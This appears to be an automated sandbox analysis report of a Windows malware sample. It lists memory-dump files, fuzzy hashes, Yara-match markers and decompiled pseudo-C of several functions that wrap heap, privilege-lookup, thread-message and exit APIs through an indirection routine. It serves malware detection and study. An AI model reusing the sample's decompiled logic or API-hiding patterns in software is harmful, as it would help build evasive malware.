Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FC60, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FC6B

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FD8C, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FD9A

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FDC0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FDCB

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FEA0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FEAB

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FED0, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FEDB

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 00B3FFB4, Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00B3FFBF

Memory Dump Source

Source File: 00000005.00000002.2218407921.0000000000B30000.00000040.00000001.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000005.00000002.2218403446.0000000000B20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218478563.0000000000C10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218486323.0000000000C20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218496017.0000000000C24000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218500633.0000000000C27000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218504484.0000000000C30000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2218532510.0000000000C90000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 004088B0, Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E004088B0(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00406E00(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00407010( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E00419CD0( &_v284, 0x104);
						E0041A340( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00413DD0(E00413D70(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L8;
						}
						_t9 = _t52 + 0x14; // 0xffffe1a5
						 *(_t52 + 0x474) =  *(_t52 + 0x474) ^  *_t9;
						_t39 = 1;
						L8:
						_t33 = E00407040( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E004070C0(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x55c)) =  *((intOrPtr*)(_t52 + 0x55c)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x31)) =  *((intOrPtr*)(_t52 + 0x31)) + _t39;
					_t20 = _t52 + 0x31; // 0x5608758b
					 *((intOrPtr*)(_t52 + 0x32)) =  *((intOrPtr*)(_t52 + 0x32)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x004088bb
0x004088c3
0x004088c5
0x004088ca
0x004088cf
0x004088e2
0x004088e7
0x004088f0
0x004088fc
0x0040890f
0x00408914
0x00408917
0x00408920
0x00408932
0x00408937
0x0040893c
0x00000000
0x00000000
0x0040893e
0x00408942
0x00000000
0x00000000
0x00408944
0x00000000
0x00408942
0x00408946
0x00408949
0x0040894f
0x00408951
0x0040895c
0x00408961
0x00408964
0x00408971
0x0040897c
0x0040897e
0x00408984
0x00408988
0x0040898b
0x0040898b
0x00408992
0x00408995
0x0040899a
0x004089a7
0x004088d6
0x004088d6
0x004088d6

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction ID: aa626ceb7ef0a3bcdbf1efb1d9dc2f5a7bb3811b4857f0e914c6161f28eec10c
Opcode Fuzzy Hash: 67bb4e2207c22d687f6acc024d55c7e0c161e5d4599185de851a30ee67947c6b
Instruction Fuzzy Hash: FE213AB3D402085BDB10E6649D42BFF73AC9B50304F44057FF989A3182F638BB4987A6

Uniqueness

Uniqueness Score: -1.00%

Function 004184C4, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28
memoryCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E004184C4(void* __eax, void* __ebx, void* __edx, intOrPtr _a8, void* _a12, long _a16, void* _a20) {
				intOrPtr _v117;
				char _t15;
				void* _t22;

				_pop(_t26);
				_v117 = _v117 - __edx;
				_t12 = _a8;
				_t5 = _t12 + 0xc74; // 0xc74
				E00418DC0(_t22, _a8, _t5,  *((intOrPtr*)(_a8 + 0x10)), 0, 0x35);
				_t15 = RtlFreeHeap(_a12, _a16, _a20); // executed
				return _t15;
			}

0x004184c6
0x004184cf
0x004184d3
0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD

Strings

*, xrefs: 004184CC

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID: *
API String ID: 3298025750-163128923
Opcode ID: 640e6f95f6438c9a3e0f65877cb73c6b43be841330c326fdab368171ee58aa59
Instruction ID: 7d312a361a86856e35fb24979bb8942a5f82c4512d6ab33bef0095426bad8e8c
Opcode Fuzzy Hash: 640e6f95f6438c9a3e0f65877cb73c6b43be841330c326fdab368171ee58aa59
Instruction Fuzzy Hash: 2EE06DB16002046FDB24DF69DC49EEB7BACEF95350F05455AF948AB241CB31E941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004072E3, Relevance: 1.7, APIs: 1, Instructions: 172
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E004072E3(void* __esi, intOrPtr _a4, intOrPtr _a8, char* _a12, char* _a16) {
				char* _v8;
				char _v132;
				char _v136;
				char _v656;
				char _v668;
				char _v684;
				char _v688;
				char* __ebx;
				intOrPtr __edi;
				void* __ebp;
				void* _t56;

				_push(ss);
				if(__esi != 1) {
					return _t56;
				} else {
					asm("cmc");
					asm("loope 0xffffffc9");
					asm("lds esp, [esi+0x553e47a1]");
					_push(__ebp);
					__ebp = __esp;
					__esp = __esp - 0x2ac;
					_push(__ebx);
					_push(__esi);
					_push(__edi);
					__eax = 0;
					_v8 = 0;
					_v688 = 0;
					 &_v684 = E00419D20( &_v684, 0, 0x2a4);
					__esi = _a16;
					__ecx =  *((intOrPtr*)(__esi + 0x300));
					__edi = _a4;
					__eax = E00407260(__eflags, _a4,  *((intOrPtr*)(__esi + 0x300))); // executed
					__eax = E004195B0(__ecx);
					_t9 =  *((intOrPtr*)(__esi + 0x2d4)) + 0x29000; // 0x29000
					__ebx = __eax + _t9;
					_a16 = 0;
					while(1) {
						__eax = E0040D3B0(__edi, 0xfe363c80); // executed
						__ecx =  *((intOrPtr*)(__esi + 0x2f4));
						__eax =  &_v688;
						__eax = E00418360(__edi,  *((intOrPtr*)(__esi + 0x2f4)), __ebx,  &_v688, 0x2a8, 0); // executed
						 *((intOrPtr*)(__esi + 0x2dc)) = __eax;
						__eflags = __eax;
						if(__eax < 0) {
							break;
						}
						__eflags = _v656;
						if(_v656 == 0) {
							L10:
							__eax = _a16;
							__eax = _a16 + 1;
							_a16 = __eax;
							__eflags = __eax - 2;
							if(__eax < 2) {
								continue;
							} else {
								__ebx = _v8;
								goto L14;
							}
						} else {
							__eflags = _v668;
							if(_v668 == 0) {
								goto L10;
							} else {
								__eflags = _v136;
								if(_v136 == 0) {
									goto L10;
								} else {
									__eflags = _v132;
									if(_v132 != 0) {
										__eax = _a12;
										__edx =  &_v688;
										__ebx = 1;
										__eax = E00419CA0(_a12,  &_v688, 0x2a8);
										L14:
										__ecx =  *((intOrPtr*)(__esi + 0x2f4));
										__eax = E004182F0(__edi,  *((intOrPtr*)(__esi + 0x2f4))); // executed
										__eflags = __ebx;
										if(__ebx == 0) {
											break;
										} else {
											__edx = _v668;
											__eax = _a12;
											__ecx = _v136;
											 *((intOrPtr*)(_a12 + 0x14)) = _v668;
											__edx =  *((intOrPtr*)(__esi + 0x2d0));
											_t29 = __esi + 0x2e8; // 0x2e8
											__eax = _t29;
											 *_t29 = _v136;
											__eax = _a12;
											_t31 = __esi + 0x314; // 0x314
											__ebx = _t31;
											__ecx = 0;
											__eax = _a12 + 0x220;
											 *__ebx = 0x18;
											 *((intOrPtr*)(__esi + 0x318)) = 0;
											 *((intOrPtr*)(__esi + 0x320)) = 0;
											 *((intOrPtr*)(__esi + 0x31c)) = 0;
											 *((intOrPtr*)(__esi + 0x324)) = 0;
											 *((intOrPtr*)(__esi + 0x328)) = 0;
											__eax = E00417B70(__edi, _a12 + 0x220,  *((intOrPtr*)(__esi + 0x2d0)), __ebx, _a12 + 0x220);
											__ecx = 0;
											 *((intOrPtr*)(__esi + 0x2dc)) = __eax;
											__eflags = __eax;
											if(__eax < 0) {
												break;
											} else {
												__edx = _v132;
												_t39 = __esi + 0x2e0; // 0x2e0
												__eax = _t39;
												 *((intOrPtr*)(__esi + 0x318)) = 0;
												 *((intOrPtr*)(__esi + 0x320)) = 0;
												 *((intOrPtr*)(__esi + 0x31c)) = 0;
												 *((intOrPtr*)(__esi + 0x324)) = 0;
												 *((intOrPtr*)(__esi + 0x328)) = 0;
												_a12 = _a12 + 0x224;
												 *((intOrPtr*)(__esi + 0x2e4)) = _v132;
												 *__ebx = 0x18;
												 *((intOrPtr*)(__esi + 0x2d0)) = 0x1a;
												__eax = E00417BB0(__edi, _a12 + 0x224, 0x1a, __ebx, _t39);
												 *((intOrPtr*)(__esi + 0x2dc)) = __eax;
												__eflags = __eax;
												if(__eax < 0) {
													break;
												} else {
													__edx = _a8;
													__esi =  *((intOrPtr*)(__edx + 0x10));
													__esi =  *((intOrPtr*)(__edx + 0x10)) + 0x200;
													__eflags =  *((intOrPtr*)(__edx + 0x10)) + 0x200;
													__eax = E00419250(__ecx);
													__eax = E00419270(0, __eax);
													 *__eax =  *__eax + __eax;
													__eflags =  *__eax;
													__ebx = __eax;
													__eax =  *((intOrPtr*)(__ebx + 0x28));
													__eax = E00419F90( *((intOrPtr*)(__ebx + 0x28)));
													__edx =  *((intOrPtr*)(__ebx + 0x28));
													_t54 = __eax + 2; // 0x2
													__ecx = __eax + _t54;
													__eax =  &_v656;
													__eax = E00413A30(__edi,  &_v656, 2, 0); // executed
													_pop(__edi);
													_pop(__esi);
													_pop(__ebx);
													__esp = __ebp;
													_pop(__ebp);
													return __eax;
												}
											}
										}
									} else {
										goto L10;
									}
								}
							}
						}
						goto L19;
					}
					_pop(__edi);
					_pop(__esi);
					__eax = 0;
					__eflags = 0;
					_pop(__ebx);
					__esp = __ebp;
					_pop(__ebp);
					return 0;
				}
				L19:
			}

0x004072e3
0x004072e6
0x004072e2
0x004072e8
0x004072e8
0x004072e9
0x004072eb
0x004072f0
0x004072f1
0x004072f3
0x004072f9
0x004072fa
0x004072fb
0x004072fc
0x00407304
0x00407307
0x00407314
0x00407319
0x0040731c
0x00407322
0x00407327
0x0040732f
0x0040733a
0x0040733a
0x00407341
0x00407350
0x00407356
0x0040735b
0x00407368
0x00407372
0x0040737a
0x00407380
0x00407382
0x00000000
0x00000000
0x00407384
0x0040738c
0x004073a6
0x004073a6
0x004073a9
0x004073aa
0x004073ad
0x004073b0
0x00000000
0x004073b2
0x004073b2
0x00000000
0x004073b2
0x0040738e
0x0040738e
0x00407395
0x00000000
0x00407397
0x00407397
0x0040739e
0x00000000
0x004073a0
0x004073a0
0x004073a4
0x004073c0
0x004073c8
0x004073d0
0x004073d5
0x004073dd
0x004073dd
0x004073e5
0x004073ed
0x004073ef
0x00000000
0x004073f1
0x004073f1
0x004073f7
0x004073fa
0x00407400
0x00407403
0x00407409
0x00407409
0x00407410
0x00407412
0x00407415
0x00407415
0x0040741c
0x0040741f
0x00407426
0x0040742c
0x00407432
0x00407438
0x0040743e
0x00407444
0x0040744a
0x0040744f
0x00407454
0x0040745a
0x0040745c
0x00000000
0x00407462
0x00407462
0x00407465
0x00407465
0x0040746c
0x00407472
0x00407478
0x0040747e
0x00407484
0x00407490
0x00407498
0x0040749e
0x004074a4
0x004074ae
0x004074b6
0x004074bc
0x004074be
0x00000000
0x004074c4
0x004074c4
0x004074c7
0x004074ca
0x004074ca
0x004074d0
0x004074d8
0x004074db
0x004074db
0x004074dd
0x004074df
0x004074e3
0x004074e8
0x004074eb
0x004074eb
0x004074fb
0x00407503
0x0040750b
0x0040750c
0x0040750d
0x0040750e
0x00407510
0x00407511
0x00407511
0x004074be
0x0040745c
0x00000000
0x00000000
0x00000000
0x004073a4
0x0040739e
0x00407395
0x00000000
0x0040738c
0x004073b7
0x004073b8
0x004073b9
0x004073b9
0x004073bb
0x004073bc
0x004073be
0x004073bf
0x004073bf
0x00000000

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: b77487c23f7bb1bfadf5866a38f4d50335b2b2f89df3e0588b88ae3c0a8272c7
Instruction ID: 2c238f6d3f0bbbe342c0d0e9403ac069046748807d08bff92fd615394b6b19ec
Opcode Fuzzy Hash: b77487c23f7bb1bfadf5866a38f4d50335b2b2f89df3e0588b88ae3c0a8272c7
Instruction Fuzzy Hash: 7F519471904205AFDB14DF64DC86BEB77A8EB48304F10446EF949A7281DB74BD41CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407260, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407260(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E00419D20( &_v67, 0, 0x3f);
				E0041A900( &_v68, 3);
				_t12 = E00409B20(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00413E30(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					_t32 = _t14;
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E00409280(_t32, 1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407260
0x0040726f
0x00407273
0x0040727e
0x0040728e
0x0040729e
0x004072a3
0x004072aa
0x004072ad
0x004072ba
0x004072bc
0x004072be
0x004072db
0x004072db
0x00000000
0x004072dd
0x004072e2

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072BA

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: b429a28fbdaf8ade12dc58879e230a39c476b9a6de75f7f862eb8cc2ee54f132
Instruction ID: bbcd0b2e5740072d15388175686a93538b06234ac68ffc2b081785cbfc84dfa6
Opcode Fuzzy Hash: b429a28fbdaf8ade12dc58879e230a39c476b9a6de75f7f862eb8cc2ee54f132
Instruction Fuzzy Hash: 2B01D431A8022876E720A6959C03FFF772C9B00B54F05405EFF04BA1C2E6A87D0682EA

Uniqueness

Uniqueness Score: -1.00%

Function 004184D0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004184D0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E00418DC0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184df
0x004184e7
0x004184fd
0x00418501

APIs

RtlFreeHeap.NTDLL(00000060,00408AF3,?,?,00408AF3,00000060,00000000,00000000,?,?,00408AF3,?,00000000), ref: 004184FD

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 0c1265b7fbf046cbfd36917309396888787f1b5b9f48543de1c0af89871077f5
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: 2EE01AB12002046BD714DF59DC45EA777ACAF88750F014559F90857241CA30E9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418490, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418490(intOrPtr _a4, void* _a8, long _a12, long _a16) {
				void* _t10;
				void* _t15;

				E00418DC0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
				_t10 = RtlAllocateHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004184a7
0x004184bd
0x004184c1

APIs

RtlAllocateHeap.NTDLL(00413516,?,00413C8F,00413C8F,?,00413516,?,?,?,?,?,00000000,00408AF3,?), ref: 004184BD

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: d4cd8ba0fc8cb19801f053331f4cf649e26225416c3eadc5d6da7764d9533391
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 81E012B1200208ABDB14EF99DC41EA777ACAF88654F118559FA085B282CA30F9108AB0

Uniqueness

Uniqueness Score: -1.00%

Function 00418630, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418630(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E00418DC0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x0041864a
0x00418660
0x00418664

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFA2,0040CFA2,00000041,00000000,?,00408B65), ref: 00418660

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: a95af6b202be8dae21372797db95a078404a8f30fafd20f5c772dce95c9aa66f
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 31E01AB12002086BDB10DF49DC85EE737ADAF89650F018559FA0857241CA34E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418502, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00418502(intOrPtr _a4, int _a8) {
				void* _t12;
				signed char _t16;
				signed int _t18;
				void* _t21;
				signed int _t22;
				signed int _t23;

				_t23 = _t22 ^  *(_t12 - 0x4c46d3a6);
				 *(_t18 + _t18 * 8 - 0x6c) =  *(_t18 + _t18 * 8 - 0x6c) >> _t16;
				asm("lock and [esi], dh");
				_t13 = _a4;
				_push(_t23);
				E00418DC0(_t21, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t13 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418502
0x00418508
0x0041850c
0x00418513
0x0041851c
0x0041852a
0x00418538

APIs

ExitProcess.KERNELBASE(?,?,00000000,?,?,?), ref: 00418538

Memory Dump Source

Source File: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d493dae6c01e315879671657e8a237c0031484131aabb91cadb253e2e9b016a9
Instruction ID: feb7010098fd42fc0759073280b7e94139125d8b042a9937d27f7eb6d0680bc7
Opcode Fuzzy Hash: d493dae6c01e315879671657e8a237c0031484131aabb91cadb253e2e9b016a9
Instruction Fuzzy Hash: EEE04F716152116FC720DF58CC45F86BBA8AF59750F05859CF9586B242CA70AA40CBE1

Uniqueness

Uniqueness Score: -1.00%

